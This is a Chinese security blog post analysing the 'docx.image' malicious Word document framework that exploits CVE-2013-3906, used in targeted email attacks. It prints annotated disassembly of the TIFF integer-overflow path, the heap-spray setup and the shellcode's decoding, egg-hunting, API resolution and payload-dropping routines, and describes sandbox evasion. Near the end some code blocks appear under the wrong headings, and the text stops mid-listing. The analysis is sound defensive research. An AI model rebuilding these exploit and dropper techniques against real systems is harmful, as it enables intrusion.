阿碼外傳-阿碼科技非官方中文 Blog: 深度技術
顯示具有 深度技術 標籤的文章。 顯示所有文章
顯示具有 深度技術 標籤的文章。 顯示所有文章

2013年12月5日

被俄、印、中各針對性攻擊者所利用之新型 Email 針對性攻擊惡意文件架構:「docx.image」之技術面與攻擊來源分析


作者:Wayne Huang、Wilson Chiou、以及阿碼證點與 Proofpoint 美國、歐洲團隊
(英文版本同步發行於 Proofpoint 官方部落格)

近期我們了解,攻擊者針對之前的 CVE-2013-3906 零時差漏洞所設計的攻擊文件,採用了多種新的技術,而至目前為止,至少被五組不同之攻擊集團所使用。我們稱這個框架為「docx.image」惡意文件框架,並認為它會成為以後惡意文件攻擊的樣版。我們利用此篇紀錄一下近期「docx.image」惡意文件架構被利用的狀況,並較深入解析此新惡意文件框架的設計原理。我們從兩個面向深入:

a)惡意文件架構設計與所使用的技術
b)採用的攻擊集團與所散播惡意軟體

這兩個面向讓我們對於此攻擊之發展,有了相當不錯的理解與觀察角度。我們先列出我們的結論,然後再提供詳細的分析資料。

[結論]
  1. 由於架構完整並內含數個較新的技術,我們認為 docx.image 架構會成為以後惡意文件攻擊的樣版
  2. 「docx.image」惡意文件框架,是利用了微軟 Word .docx 的檔案格式,其實也就是 ECMA-376 ("Ecma Office Open XML")格式,與之前傳統的 .doc 檔案格式很不一樣。

  3. 「docx.image」文件攻擊包的設計,可以很容易置換其中的惡意代碼(shellcode)與負載(payload),而不需要動到整個 .docx 文件。

  4. 第 I 類型被第一組攻擊者 「Janicab」(俄國,擅長 Windows / MacOS 雙軌齊下,利用 Youtube 來中繼交換後門指令,全球都打)與第二組攻擊者 「Arlab」(印度打巴基斯坦與克羅埃西亞,我們命名的)所使用,文件本身即內含 payload 與惡意程式。Shellcode 用 XOR 加殼,payload 為一個 dll(a.l)。shellcode 將其寫入磁碟後,呼叫 LoadLibrary 將其執行。藉此 dll(a.l) 內嵌有惡意軟體 a.exe 與假乾淨文件,一樣利用 XOR 脫殼後,取出利用。

  5. 第 II 類型被第三組攻擊者「Operation Hangover」(印度打巴基斯坦與伊朗)、第四組「Taidoor」(專打台灣,此次 email:公共工程委員會 / 103年度公共場所錄影監視規劃.docx)、與第五組「Winnti」(專打亞洲,著眼線上遊戲相關)等三組針對性攻擊團體所利用。惡意文件本身不內含 payload 與惡意程式,由 shellcode 使用 URLDownloadToFileA API 來下載惡意程式並執行之。

  6. 第 II 類型的 shellcode 採用了反沙盒(反 hooking)的 hook-hopping 技術,而 第 I 類型並未使用。

  7. 兩類型皆實做了「ActiveX heap spray」-- 利用 Word 本身的功能來完成 heap spraying,所以看不到 heap spray 的相關攻擊碼。同時,可以利用單一個圖檔,重複噴灑,而不需要於 Word 內部內嵌多個圖檔,徒增檔案大小以及特徵。

  8. 在第 I 類型之中,shellcode 利用 egg-hunting 來找到 payload,然後透過 XOR 脫殼後,寫成檔案 「a.l」並使用 LoadLibrary API 執行之。
  9. 此「docx.image」惡意文件框架,應於今年三月時,由俄國方面的攻擊者完成,後銷售給本文中之五個針對性攻擊團體使用。

  10. 兩類型的惡意 .docx 文件,都會在成功植入後門後,將原本的惡意 .docx 檔案「毀屍滅跡」,置換成一個乾淨的 .docx 檔案。
[事件回溯]
  1. 三月底:利用此漏洞的攻擊程式由俄方面研究成功(docx 中遺留下不少俄文),而其中許多檔案的建立日期為三月下旬至四月初。

  2. 7月7日:Janicab 團體首次對 Proofpoint 的客戶發動攻擊,惡意程式是 VBE 寫的,利用 Youtube 來中繼交換後門指令。雖然當時我們台灣阿碼科技做出的雲端沙盒偵測平台,幫 Proofpoint 擋下了這一波攻擊,但是當時我們並未查覺這波惡意文件的針對性攻擊是針對 CVE-2013-3906 這個零時差漏洞進行攻擊。

  3. 7月22日: Avast 發表關於 Janicab 集團的攻擊事件。Avast 當時並未意識該次攻擊乃利用了CVE-2013-3906 這個零時差漏洞。Janicab 團體是第一個被發現使用 docx.image 惡意文件架構進行攻擊的團體。

  4. 9月27日:「Arlab」集團(我們命名的)開始使用 docx.image 惡意文件攻擊 Proofpoint 的客戶。我們的雲端沙盒偵測平台於當時完封此波攻擊。當時我們並未發覺仍是利用此零時差漏洞。事後透過資料庫中的紀錄,我們發現了此「Arlab」針對性攻擊團體,並成功取得了對方的感染紀錄檔、程式、與工具。此團體以印度成員為主,對象則鎖定巴基斯坦與克羅埃西亞。當時他們利用 docx.image 散播植入 Citadel 後門。「Arlab」為第二個被發現使用 docx.image 惡意文件架構的針對性攻擊團體。

  5. 11月5日:McAfee 注意到有第三個集團使用 docx.image 惡意文件架構進行攻擊,並且也注意到,所打的是一個零時差漏洞:CVE-2013-3906。McAfee 是第一個向微軟回報此漏洞的資安廠商,但是其部落格文章中,並沒有特別指認出,或去研究該攻擊團體。

  6. 11月6日:FireEye 於部落格文章中,寫到了有關第二個團體(我們取名「Arlab」,FireEye取名 「Arx」)和第三個團體(Operation Hangover,McAfee 沒有指出這點)。同時,我們獨立的研究,顯示這一波的攻擊的受害者主要是針對巴基斯坦和克羅埃西亞兩國的目標。

  7. 11月12日:FireEye 指出,已有第四個團體使用 docx.image 惡意文件架構:專門攻擊台灣的 Taidoor 團體。這個集團主要是針對臺灣為目標。(此次 email:公共工程委員會 / 103年度公共場所錄影監視規劃.docx)。我們的研究顯示,這次攻擊對於 docx.image 架構的用法,很類似 Janicab 團體的用法。

  8. 11月14日:卡巴斯基發佈第五個集團使用此框架: Winnti 集團。此集團專打亞洲,著眼線上遊戲相關目標,以及竊取線上遊戲的程式碼。我們的研究顯示,這次 Winnti 對於 docx.image 架構的用法,很類似 Arlab 集團。

在二種類型中,第 I 類型的漏洞利用攻擊程式比較複雜,所以我們接下來,將第 I 類型作為我們分析的基礎。

[解析 docx.image 惡意文件架構,第 I 類型]

docx.image 惡意程式框架到底有什麼特殊?上述提及的五個團體又做了什麼客製化動作,以達成目的?

我們來看 Arlab 集團攻擊的方式。Arlab 客製化 docx.image 架構,做出了一個微軟的 Word .docx 文件,然後利用 email 的方式,將該文件傳送給攻擊目標。.docx 文件是一種 ECMA-376 ("Ecma Office Open XML") 文件,與之前傳統的 Word .doc 文件,在格式上有很大的不同。.docx 檔案整個是一個 .zip 檔,所以我們可以直接將附檔名改成 .zip,然後用系統的檔案總管,將一個 .docx 檔案解壓開來。

Arlab 所送出的惡意 .docx 文件,整包的架構如下圖:

被攻擊的目標收到這個 .docx 檔案,若將之點開,如果環境對,就會被植入 Citadel 後門。此外,這個 .docx 內部所附的 payload,還會在成功植入後門後,將原本的惡意 .docx 檔案「毀屍滅跡」,置換成一個乾淨的 .docx 檔案。

我們首先列出上述過程的每個步驟,然後逐步來分析:

第 1 步: 目標受害者打開 .docx 文件, 由於文件本身的設計,Word 開始在記憶體中做 heap spray。
第 2 步: .docx 文件內部有個 image2.tiff 圖形檔(內部是一張 jpg 圖),Word 開始想辦法將該圖顯示出來。
第 3 步: 由於該 image2.tiff 中的特殊設計,造成 Word 的記憶體被溢位(透過 ogl.dll)。
第 4 步: shellcode 被執行起來,並將自身脫殼。
第 5 步: shellcode 取得 18 個有用到的 kernel32 API 函式的指標。
第 6 步: shellcode 利用 egg-hunting 技巧,搜尋出位於 activeX1.bin 中的 payload。
第 7 步: shellcode 將此 payload 脫殼,並以檔名 "a.l" 寫入磁碟。
第 8 步: shellcode 呼叫 LoadLibrary,將 a.l 載入執行。

第 1 步: 目標受害者打開 .docx 文件, 由於文件本身的設計,Word 開始在記憶體中做 heap spray。

所有的攻擊碼中,看不到 heap spray 的相關攻擊碼;原因是,docx.image 的設計,是利用 Word 本身的功能來完成 heap spraying。把 .docx 解開後可以看出,在 word\activeX\_rels\目錄下,activeXn.xml.rels 檔案,都有相同的內容:
<Relationship Id="rId1" Type="http://...skip..." Target="activeX.bin"/≷
</Relationships≷
.docx 中,總共有 42個 activexn.xml.rels 這樣的檔案 -- 從 activex1.xml.rels 到 activex42.xml.rels,而且內容都完全相同。當受害者打開本 .docx 檔案時,Word 將檔案載入到記憶體、解壓縮它,並開始解析所有的.xml 和 xml.rels 檔案。上述的安排告訴 Word,要將 activex.bin 載入至記憶體中 42 次,所以 Word 照辦,於是就等於把 activex.bin 的內容於 heap 中噴灑了42次。您說這是不是相當有趣的 heap spray 方式呢?

第 2 步: .docx 文件內部有個 image2.tiff 圖形檔(內部是一張 jpg 圖),Word 開始想辦法將該圖顯示出來。

我們注意到在 word\ 目錄下(正確的名稱是「儲存,store」), 有個指向 image2.tiff 的 document.xml 檔案,裡面有俄文:"Рисунок"("圖"):
<wp:docPr id="7" name="Рисунок 6" descr="image1.tiff"/>
這是當初 docx.image 的研發人員所留下的 「殘留物」,整個 .docx 中其實找不到任何 "image1.tiff" 檔案。然而,由 word\_rels\document.xml.rels 所指到的 "media/image2.tiff" 檔案,則是存在的:
<Relationship Id="rId53" 
Type="http://schemas...skip...relationships/" 
Target="media/image2.tiff"/>
因此,此時 Word 會嘗試載入並秀出 image2.tiff。

第 3 步: 由於該 image2.tiff 中的特殊設計,造成 Word 的記憶體被溢位(透過 ogl.dll)。
為了要秀出 image2.tiff,Word 使用了以下 .dll 中的函式:
C:\Program Files (x86)\Common Files\microsoft shared\OFFICE12\OGL.DLL
該 .dll 就是本漏洞 CVE-2013-3906 的所在位置。TIFF 的檔案格式中規定,一個 TIFF 檔案的第 2 個 DWORD,描述了該檔中第一個 IFD (Image File Directory) 於檔案中的相對位置:
typedef struct _TiffHeader
{
  WORD  Identifier;  /* Byte-order Identifier */
  WORD  Version;     /* TIFF version number (always 2Ah) */
  DWORD IFDOffset;   /* Offset of the first Image File Directory*/
} TIFHEAD;
我們來看一下 docx.image 惡意文件的檔頭長得如何:

從上圖我們可以看到, 第一個 IFD 的所在位置是0x000049C8,所以我們到那裏:

從上面看出,TagCount = 0x0011 = 17;總共有17個 IFD。 每個 IFD 的開頭都是一個 Tag,用來指定該 IFD 的種類。以下我們把 image2.tiff 中的17個 IFD 的標記都列出來:
 Tag | Type | count    | val OR offset
00FE | 0004 | 00000001 | 00000000 - NewSubfileType
0100 | 0003 | 00000001 | 000002AB - ImageWidth  = 2ABh (683)
0101 | 0003 | 00000001 | 00000152 - ImageLength = 152h (338)
0102 | 0003 | 00000003 | 0000331E - BitsPerSample
0103 | 0003 | 00000001 | 00000006 - Compression = JPEG
0106 | 0003 | 00000001 | 00000002 - PhotometricInterpretation
0111 | 0004 | 00000044 | 00003434 - StripOffsets
0115 | 0003 | 00000001 | 00000003 - SamplesPerPixel
0116 | 0004 | 00000001 | 00000005 - RowsPerStrip
0117 | 0004 | 00000044 | 00003324 - StripByteCounts
011A | 0005 | 00000001 | 0000330E - XResolution
011B | 0005 | 00000001 | 00003316 - YResolution
011C | 0003 | 00000001 | 00000001 - PlanarConfiguration
0128 | 0003 | 00000001 | 00000002 - ResolutionUnit = Inch
013D | 0003 | 00000001 | 00000001 - Predictor
0202 | 0004 | 00000001 | 00001484 - JPEGInterchangeFormatLength
0201 | 0004 | 00000001 | 00003544 - JPEGInterchangeFormat

當 ogl.dll 嘗試秀出 image2.tiff 時,會發現此 TIFF 中有一張 jpg 圖,於是 ogl.dll 會開始配置所需要的記憶體,大小 = JFIF_size + strip_size [0] + [1] strip_size +......+ strip_size [n-1]。所以,這裡的重點就是 StripByteCounts (0x0117)和 JPEGInterchangeFormatLength (0x0202)這兩個 IFD。

從第 16 個IFD(JPEGInterchangeFormatLength,0x0202)我們可以看出,我們 JFIF 的大小是 0x1484。那麼剩下來要算的就是 StripSize = strip_size [0] + [1] strip_size +......+ strip_size [n-1]了。

從第 10 個的 IFD(StripByteCounts,0x0117),我們可以看出,這個 IFD 有 0x44 strips,而且在檔案中的相對位址為 0x3324。那麼我們就到 image2.tiff 中的 0x3324 位址處看一下。我們看到:
所以,我們如果把 0x44 strips 全部加總起來,可以得到 StripSize =0xFFFFB898 + 0x000000B2 + 0x000000B2 + 0x000000B3 + 0x000000B3 + 0x000000B1 + 0x000000B1 + … (0x44 DWORDs) = 0xFFFFEAEC。

終於,我們可以算出,要秀出該 JPG 圖,所需要配置的記憶體大小 = JFIF_size + ((0x44)*2+8) + strip_size[0] + strip_size[1]+...+strip_size[n-1] = 0x1484 + 0x90 + 0xFFFFEAEC = 0x100000000:哈,剛好溢位了,變成 0!也就是說,ogl.dll 配置了一個大小為 0 的記憶體空間,要將位於 image2.tiff 中的 JPG 圖拷貝進去,於是當然就產生了記憶體溢位。對於上述的公式,我們直接看 ogl.dll 反組譯後的程式碼,就更清楚了:
3BDC576D push    ebp
3BDC576E mov     ebp, esp
3BDC5770 movzx   ecx, word ptr [edi+0ECh]
3BDC5777 xor     eax, eax
3BDC5779 test    ecx, ecx
3BDC577B push    esi
3BDC577C jle     short loc_3BDC5793
3BDC577E mov     edx, [edi+0A0h] ; StripByteCounts table's base
3BDC577E                         ; address (0x3324)
3BDC5784 movzx   esi, word ptr [edi+0ECh] ; 0x44 strips
3BDC578B
3BDC578B sumStripByteCounts:     ; CODE XREF: sub_3BDC576D+24j
3BDC578B add     eax, [edx]
3BDC578D add     edx, 4
3BDC5790 dec     esi
3BDC5791 jnz     short sumStripByteCounts 
3BDC5791                         ; Sum up all 0x44 strips,
3BDC5791                         ; at the end, eax = 0xFFFFEAEC
3BDC5793
3BDC5793 loc_3BDC5793:           ; CODE XREF: sub_3BDC576D+Fj
3BDC5793 mov     esi, [ebp+Size] ; esi = JPEGInterchangeFormatLength
3BDC5793                         ; (0x1484)
3BDC5796 lea     eax, [eax+ecx*2+8]
3BDC5796                         ; eax += (0x44*2+8 = 0x90)
3BDC5796                         ; so now, eax = 0xFFFFEB7C
3BDC579A add     eax, esi        ; 0xFFFFEB7C + 0x1484, overflow
3BDC579A                         ; eax = 0
3BDC579C push    eax             ; dwBytes
3BDC579D mov     [edi+160h], eax
3BDC57A3 call    RtlAllocateHeap ; allocate 0 bytes (writing anything
3BDC57A3                         ; to the buffer will cause overflow)
3BDC57A8 test    eax, eax
3BDC57AA mov     [edi+164h], eax
3BDC57B0 jnz     short loc_3BDC57BA
3BDC57B2 or      eax, 0FFFFFFFFh
3BDC57B5
3BDC57B5 loc_3BDC57B5:           ; CODE XREF: sub_3BDC576D+10Dj
3BDC57B5 pop     esi
3BDC57B6 pop     ebp
3BDC57B7 retn    8
我們繼續往下看,接下來,ogl.dll 呼叫 memcpy() 將 JFIF(JPG 圖)複製到剛才所配置好的記憶體(該記憶體大小為 0):
3BDC57BA mov     ecx, [ebp+Src]
3BDC57BD push    ebx
3BDC57BE push    dword ptr [edi+108h]
3BDC57C4 push    esi
3BDC57C5 call    sub_3BE21ADC
3BDC57CA mov     ebx, eax
3BDC57CC test    ebx, ebx
3BDC57CE jl      loc_3BDC5890
3BDC57D4 push    [ebp+Size]      ; Size =
3BDC57D4                         ; JPEGInterchangeFormatLength
3BDC57D4                         ; (0x1484)1
3BDC57D7 mov     esi, [edi+164h]
3BDC57DD push    [ebp+Src]       ; Src = The JFIF within the
3BDC57DD                         ; TIFF (JPEGInterchangeFormat)
3BDC57E0 push    esi             ; Dst = the 0-bytes buffer
3BDC57E0                         ; previously allocated
3BDC57E1 call    memcp
memcpy()會從哪裡複製到哪裡,又複製多少位元呢?它會從 IFD:JPEGInterchangeFormat(在 image2.tiff 中的第 17個 IFD)所指定的 JFIF 位址開始,拷到之前所配置的 0 位元組的記憶體內,一共會複製由 IFD:JPEGInterchangeFormatLenth (在 image2.tiff 中的第 16 個 IFD)所指定的 0x1484 個位元組。

這也就這意味著,此惡意文件會造成一次長度為 0x1484 個位元組的溢位,溢位發生的位址,是在 esi 所指的地方,所拷貝的內容,則是 JFIF,也就是 image2.tiff 中那張 JPG 圖的內容。

這張 JPG 圖的內容,將會是溢位後的重點。我們來看看,究竟這圖的內容是什麼?這張圖(JFIF)的所在位址,應該是在.docx 的 IFD:JPEGInterchangeFormat = 0x3544 這裡(見上面的 17 JFD 表)。那麼我們去 0x3544 的地方看看:
以上就是會被複製的資料了!所以從這裡開始,ogl.dll 將一共複製 0x1484 個位元組,到剛才那個配置大小為 0 的記憶體位置,並造成記憶體溢出。被這溢出所影響到的程式片段如下:
3BE2026B push    ebp
3BE2026C mov     ebp, esp
3BE2026E mov     eax, [ebp+arg_0]
3BE20271 lea     ecx, [eax+158h]
3BE20277 push    ecx
3BE20278 push    0
3BE2027A push    [ebp+arg_4]
3BE2027D push    dword ptr [eax]
3BE2027F call    dword ptr [eax+20h] ; eax+0x20 points to 08080808
3BE2027F                             ; due to the memory overflow
最後的呼叫( call) 會跳到 eax+0x20 所記錄的位址。由於該記憶體被溢位了,溢位後的內容變成了 0x08080808,所以,這個 call 也就變成會跳到 0x08080808 那裡了。那麼 0x08080808 那裡是什麼資料呢?在第 3 步中所進行完畢的 heap spray 動作,就是造成 0x08080808 附近的記憶體,會被Word 自己噴灑成 activex.bin 的內容,也就是說,shellcode 就在那裡 :)

第 4 步: shellcode 被執行起來,並將自身脫殼。
shellcode 一如往常地,是經過 XOR 加殼的。在 docx.image 中,shellcode的大小(0x27E bytes)以及脫殼的key(0xEE)是寫死不變的,然後一開始的 shellcde 以一個簡單的 XOR 迴圈來進行脫殼:
0854 nop
0855 nop
0856 nop
0857 nop
0858 and     sp, 0FFFCh
085D jmp     short loc_870
085F
085F ; =============== S U B R O U T I N E ==========
085F code_decryptor  proc near 
085F pop     ebx             ; obtain address of
085F                         ; encrypted shellcode
0860 dec     ebx
0861 xor     ecx, ecx
0863 or      cx, 27Eh        ; hard-coded code size=0x27E
0868
0868 loc_868:                ; CODE XREF: code_decryptor+Dj
0868 xor     byte ptr [ebx+ecx], 0EEh 
0868                         ; XOR all bytes with 0xEE
0868                         ; (hard-coded key: 0xEE)
086C loop    loc_868
086C code_decryptor  endp
086C
086E jmp     short loc_875
0870 ; ----------------------------------------
0870
0870 loc_870:                ; CODE XREF: 0000085Dj
0870 call    code_decryptor
0875 ; ----------------------------------------
0875 loc_875:                ; CODE XREF: 0000086Ej
0875 jmp     loc_AA6         ; this part was originally
0875                         ; encrypted code.
第 5 步: shellcode 取得 18 個有用到的 kernel32 API 函式的指標。 這個 shellcode 總共使用了 18 個 kerner32.dll 中的 API 函式,所以現在我們必須取得這些 API 在記憶體中的位址。我們先從 PEB 中搜尋出 kernel32.dll 的起始位址,然後再利用每個函式的校驗值,撈出這 18 個函式的位址:
087A lib_dropper     proc near
087A pop     edi
087B mov     eax, fs:LoadLibraryA; PEB
0881 mov     eax, [eax+0Ch]
0884 mov     esi, [eax+1Ch]
0887 lodsd
0888
0888 loc_888:
0888 mov     ebp, [eax+8]    ; / BEGIN
0888                         ; Search for kernel32.dll base
088B mov     esi, [eax+20h]
088E mov     eax, [eax]
0890 cmp     byte ptr [esi], 6Bh ; 'k'ernel
0893 jnz     short loc_888
0895 inc     esi
0896 inc     esi
0897 cmp     byte ptr [esi], 65h ; k'e'rnel
089A
089A loc_89A:
089A jnz     short loc_888
089C inc     esi
089D inc     esi
089E cmp     byte ptr [esi], 72h ; ke'r'nel
08A1 jnz     short loc_89A
08A3 inc     esi
08A4 inc     esi
08A5 cmp     byte ptr [esi], 6Eh ; ker'n'el
08A8 jnz     short loc_89A   ; \ END kernel32 search
08AA mov     esi, edi        ; ESI = ptr 00000AAB
08AC push    12h             ; a total of 18 functions are needed
08AE pop     ecx
08AF
08AF enum_proc_addresses: 
08AF call    Custom_GetProcAddress 
08AF                         ; Enumerate function
08AF                         ; addresses into addr:ESI
08B4 loop    enum_proc_addresses
這 18 個被用到的函式如下:
GetTempPathA
FreeLibraryAndExitThread
CreateFileA
CloseHandle
WriteFile
GetCurrentProcessId
CreateToolhelp32Snapshot
Thread32First
Thread32Next
SuspendThread
OpenThread
GetCurrentThreadId
LoadLibraryA
FreeLibrary
SetFilePointer
GetFileSize
VirtualAlloc
ReadFile
第 6 步: shellcode 利用 egg-hunting 技巧,搜尋出位於 activeX1.bin 中的 payload。
Shellcode 擁有了其所需要的 API 位址後,就要開始找尋 存在於 activex1.bin 中的 payload 了。找尋的方式,是逐一查看所有被目前這個執行緒(屬 Word)所開啟的檔案,然後用 egg-hunting 技巧,設法於檔案中找出 egg。此 egg(0xB19B00B5)存在於 activex1.bin 的一開頭,目的就是為了能夠標示出 activex1.bin 於記憶體中的位置,方便我們搜尋。

為了達到以上目標,shellcode 必須先於記憶體中,找到自己本身這個 .docx 檔案。所以 shellcode 執行了以下三個動作:
A. 拿到下一個有被 Word 開啟的檔案的 handle。
B. 如果該檔案大小 < 1000 h,那這個檔一定不是我們的 .docx 檔,跳回到 A。
C. 在檔案位址 0x20 處,,讀進來 4 個位元組,判斷是否等於"cProp"?如果不是,則回到 A。

"cProp" 實際上是 "docProps" 的片段。只要是 .docx 檔案,一定會有 "docProps" 這個目錄,所以第 C 動作,是判斷此檔案是否為一個 .docx 檔案。
0915
0915 loc_915:
0915 add     ebx, 4          ; / BEGIN egg-hunting for payload
0918 cmp     ebx, offset unk_100000
091E ja      loc_9A9         ; / BEGIN iterate through
091E                         ; all open file handles
0924 xor     eax, eax
0926 push    eax             ; DWORD dwMoveMethod = FILE_BEGIN
0927 push    eax             ; PLONG lpDistanceToMoveHigh = 0
0928 mov     al, 20h         ; ' '
092A push    eax             ; LONG lDistanceToMove = 0x20
092B push    ebx             ; HANDLE hFile
092C call    ds:SetFilePointer[esi] ; set to 0x20
092F cmp     eax, 0FFFFFFFFh
0932 jz      short loc_915   ; \ END
0934 xor     eax, eax
0936 push    eax             ; LPTSTR lpBuffer
0937 push    ebx             ; DWORD nBufferLength
0938 call    ds:GetFileSize[esi] ; if size < 1000h, then
093B cmp     eax, 1000h      ; it is NOT the malicious docx
0940 jl      short loc_915
0942 mov     edi, eax
0944 sub     esp, 4
0947 mov     ecx, esp
0949 sub     esp, 4
094C mov     edx, esp
094E xor     eax, eax
0950 push    eax             ; LPOVERLAPPED lpOverlapped = NULL
0951 push    ecx             ; LPDWORD lpNumberOfBytesRead
0952 push    4               ; DWORD nNumberOfBytesToRead = 0x04
0954 push    edx             ; LPVOID lpBuffer
0955 push    ebx             ; HANDLE hFile = 0 = self handle
0956 call    ds:ReadFile[esi]; at offset 0x20
0959 test    eax, eax
095B pop     eax
095C pop     ecx
095D jz      short loc_915
095F cmp     eax, 6F725063h  ; check for do"cPro"ps
0964 jnz     short loc_915
0966 sub     edi, 24h ; '$'  ; / BEGIN Allocate space for payload
0966                         ; need: docx files size - 0x24 bytes
0966                         ; (0x20 offset + 4 bytes "cProp")
0966                         ; -----------------------------------
0969 push    4               ; DWORD flProtect = PAGE_READWRITE
096B push    3000h           ; DWORD flAllocationType = 
096B                         ; MEM_COMMIT & MEM_RESERVE
0970 push    edi             ; SIZE_T dwSize
0971 push    0               ; LPVOID lpAddress = NULL
0973 call    ds:VirtualAlloc[esi]
0976 sub     esp, 4
0979 mov     ecx, esp        ; ----------------------------
0979                         ; \ END
097B push    0               ; LPOVERLAPPED lpOverlapped = NULL
097D push    ecx             ; LPDWORD lpNumberOfBytesRead
097E push    edi             ; DWORD nNumberOfBytesToRead
097E                         ; = GetTempPathA result - 0x24
097F push    eax             ; LPVOID lpBuffer = obtainded
097F                         ; via Virtual Alloc()
0980 mov     edi, eax
0982 push    ebx             ; HANDLE hFile
0983 call    ds:ReadFile[esi]
0986 test    eax, eax
0988 pop     edx
0989 jz      short loc_9A9
098B mov     eax, 0B19B00B5h ; Egg: 0xB19B00B5
0990
0990 loc_990:                ; CODE XREF: lib_dropper+11Ej
0990                         ; lib_dropper+128j
0990 inc     edi
0991 dec     edx
0992 test    edx, edx        ; edx == 0?
0994 jle     short loc_9A9   ; edx==0 but no egg found, jump
0996 cmp     [edi], eax
0998 jnz     short loc_990
099A add     edi, 4
099D sub     edx, 4
09A0 cmp     [edi], eax
09A2 jnz     short loc_990
09A4 add     edi, 4
09A7 jmp     short loc_9F3   ; Egg has been found!
09A9 ; ----------------------------------------
第 7 步: shellcode 將此 payload 脫殼,並以檔名 "a.l" 寫入磁碟。
找到 egg 後,此 egg 所在位址的前幾個位元組,就是 XOR 的 key 以及 shift 所需要使用到的參數。這兩個值,都是接下來將 payload 脫殼所需要用到的。於是接下來,shellcode 使用 XOR-shift 演算法,將緊接於 egg 後面的 payload 脫殼,並寫入磁碟為 "%temp%\a.l".
09A9 loc_9A9:
09A9 mov     bx, cs
09AC cmp     bl, 23h         ; '#'
09AF jnz     short loc_9B7
09B1 xor     edx, edx
09B3 push    edx
09B4 push    edx
09B5 push    edx
09B6 push    edx
09B7
09B7 loc_9B7:
09B7 mov     edx, offset unk_FFFFF
09BC
09BC loop_inc_page:
09BC or      dx, 0FFFh       ; add PAGE_SIZE-1 to edx
09C1
09C1 loop_inc_one:
09C1 inc     edx             ; increment pointer by one
09C2 push    edx             ; save edx
09C3 cmp     bl, 23h         ; '#'
09C6 jz      short loc_9E1
09C8 push    2               ; push NtAccessCheckAndAuditAlarm
09CA pop     eax             ; pop into eax
09CB int     2Eh             ; perform the syscall
09CD pop     edx             ; restore edx
09CE
09CE loc_9CE:                
09CE cmp     al, 5
09D0 jz      short loop_inc_page
09D0                  ; yes, invalid ptr, go to the next page
09D0 
09D2 mov     eax, 0B19B00B5h ; eax = Egg: 0xB19B00B5
09D7 mov     edi, edx ; Set edi to the pointer we validated
09D9 scasd            ; Compare the dword in edi to ea
09DA jnz     loop_inc_one 
09DA                  ; No match? Increment the pointer by one
09DC scasd            ; Compare the dword in edi to eax again
09DC                  ; (which is now edx + 4)
09DD jnz     loop_inc_one
09DD                  ; No match? Increment the pointer by one
09DF jmp     short loc_9F3 ; Egg has been found!
第 8 步: shellcode 呼叫 LoadLibrary,將 a.l 載入執行。
在這最後一個步驟中,shellcode 呼叫 LoadLibrary,載入 a.l,成功執行 payload:
09FB push    ebx             ; / BEGIN construct payload
09FB                         ;   file name
09FB                         ; LPTSTR lpBuffer
09FC push    0FCh            ; DWORD nBufferLength
09FC                         ; = 0xFC (252 bytes)
0A01 call    ds:GetTempPathA[esi] ; %temp%
0A03 mov     dword ptr [ebx+eax], 6C2E61h ; filename = "a.l"
0A0A xor     eax, eax
0A0C push    eax             ; HANDLE hTemplateFile = NULL
0A0D push    2               ; DWORD dwFlagsAndAttributes
0A0D                         ; = FILE_ATTRIBUTE_HIDDEN
0A0F push    2               ; DWORD dwCreationDisposition
0A0F                         ; = CREATE_ALWAYS
0A11 push    eax             ; LPSECURITY_ATTRIBUTES
0A11                         ; lpSecurityAttributes = NULL
0A12 push    eax             ; DWORD dwShareMode = NULL
0A13 push    40000000h       ; DWORD dwDesiredAccess
0A13                         ; = GENERIC_WRITE
0A18 push    ebx             ; LPCTSTR lpFileName
0A19 call    ds:CreateFileA[esi] ; \ END
0A1C mov     edx, eax
0A1E push    edx
0A1F push    edx
0A20 push    ebx
0A21 mov     al, [edi]       ; key for XOR decryption
0A23 inc     edi
0A24 mov     bl, [edi]       ; key shift
0A26 inc     edi
0A27 mov     ecx, [edi]
0A29 push    ecx             ; payload size
0A2A add     edi, 4          ; EDI now points to beginning
0A2D push    edi             ; of encrypted payload
0A2E
0A2E XOR_shift_decrypt:      ; CODE XREF: lib_dropper+1C0j
0A2E mov     dl, [edi]       ; / BEGIN payload decryption
0A30 xor     dl, al
0A32 mov     [edi], dl
0A34 inc     edi
0A35 add     al, bl
0A37 dec     ecx
0A38 test    ecx, ecx
0A3A jnz     short XOR_shift_decrypt ; \ END
Payload 被執行起來後,會將內嵌於自身內部的一個惡意程式(.exe)寫入磁碟並執行起來,然後利用也是內嵌於自身內部的一個乾淨的 .docx 檔案,覆蓋掉原本的惡意 .docx 檔案,毀屍滅跡。

[第 II類型 hook-hopping 技巧]
第 II 類型不同於第 I 類型的地方,在於:
  1. shellcode 使用了反沙盒(hooking)的 hook-hopping 技巧。
  2. 不內嵌 payload 與惡意程式,而是使用 URLDownloadToFileA 來下載惡意程式。
那麼最後讓我們來看看所以讓我們看看第 II類型所使用的 hook-hopping 技巧。第 II 類型 shellcode 實做了二個重要的程序:get_func 和 hook_hop。

get_func 負責從所需要的 dll 中,撈出所需要的函式。此 shellcode 主要用到了:kernel32.dll、urlmon32.dll 和 shell32.dll:
0A45 push    0               ; LPOVERLAPPED lpOverlapped = NULL
0A47 push    eax             ; LPDWORD lpNumberOfBytesWritten
0A48 push    ecx             ; DWORD nNumberOfBytesToWrite
0A49 push    edi             ; LPCVOID lpBuffer
0A4A push    edx             ; HANDLE hFile
0A4B call    ds:WriteFile[esi]
0A4E pop     eax             ; HANDLE hFile
0A4F call    ds:CloseHandle[esi]
0A52 push    ebx
0A53 call    ds:LoadLibraryA[esi]
0A56 push    eax
0A57 call    ds:FreeLibrary[esi]
0A5A xor     eax, eax
0A5C push    eax
0A5D push    eax
0A5E call    dword ptr ds:FreeLibraryAndExitThread[esi]
0A5E lib_dropper     endp
hook_hop 則負責執行 hook-hopping。它會檢查每個函式所在位址的第一個位元組(byte 0)。 如果發現該位元組是一個 CALL、JMP 或者 INT3 指令,則 hook_hop 會將第一個指令跳過。
0916 ; =============== S U B R O U T I N E =============
0916 get_func proc near
0916 push    ebx
0917 push    eax
0918 push    edi
0919 mov     ebx, esi        ; kernel32 base address
091B push    esi
091C mov     esi, [ebx+3Ch]  ; get PE signature's offset
091F mov     esi, [esi+ebx+78h] ; get Export Table's address = 262C
0923 add     esi, ebx        ; move the pointer to the Export Table
0925 push    esi
0926 mov     esi, [esi+20h]
0929 add     esi, ebx
092B xor     ecx, ecx
092D dec     ecx
092E
092E loc_92E:                ; CODE XREF: get_func+31j
092E inc     ecx
092F lodsd                   ; Obtain pointer to the function name
092F                         ; ex: "CloseHandle"
0930 add     eax, ebx
0932 push    esi
0933 xor     esi, esi
0935
0935 loc_935:                ; CODE XREF: get_func+2Cj
